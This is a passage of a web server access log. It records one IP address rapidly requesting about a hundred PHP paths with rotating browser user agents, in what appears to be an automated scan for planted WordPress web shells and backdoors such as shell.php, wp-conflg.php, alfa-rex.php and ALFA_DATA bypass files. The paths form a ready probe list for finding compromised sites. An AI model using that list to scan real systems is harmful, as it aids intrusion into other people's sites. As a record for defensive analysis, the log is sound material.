[09/Feb/2026:04:13:03 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:13:03 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:04 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:13:04 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:05 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:13:05 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:06 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:13:06 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:13:07 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:13:07 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:13:08 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:08 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:08 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:09 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:13:09 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:10 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:13:10 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:11 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:11 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:13:12 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:12 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:13:12 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:13 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:13:13 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:14 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:14 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:15 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:15 +0300] "GET /admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:13:15 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:16 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:13:16 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:17 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:17 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:18 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:13:18 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:19 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:13:19 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:13:19 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:20 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:13:20 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:13:21 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:13:21 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:13:22 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:13:22 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:23 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:13:23 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:23 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:24 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:13:24 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:13:25 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:25 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:13:26 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:13:26 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:26 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:13:27 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:27 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:13:28 +0300] "GET /fonts/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:13:28 +0300] "GET /ff2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:28 +0300] "GET /wp-includes/SimplePie/Exception-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:29 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:29 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:13:30 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:13:30 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:13:31 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:31 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:13:31 +0300] "GET /wp-content/uploads/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:32 +0300] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:32 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:33 +0300] "GET /js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:13:33 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:13:33 +0300] "GET /worm.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:34 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:34 +0300] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:35 +0300] "GET /.well-known/pki-validation/1.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:13:35 +0300] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:13:36 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:13:36 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:13:37 +0300] "GET /wp-admin/css/colors/sunrise/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:13:37 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:37 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:38 +0300] "GET /wp-content/themes/twentytwentyfour/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:13:38 +0300] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:13:39 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:39 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:40 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:40 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:13:40 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:41 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:13:41 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:42 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:42 +0300] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:43 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:43 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:43 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:13:44 +0300] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:13:44 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:13:45 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:45 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:45 +0300] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:46 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:46 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:13:47 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:47 +0300] "GET /wp-admin/network/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:48 +0300] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:48 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:13:49 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:49 +0300] "GET /css/slider.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:50 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:13:50 +0300] "GET /wp-includes/css/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:51 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:13:51 +0300] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:52 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:52 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:53 +0300] 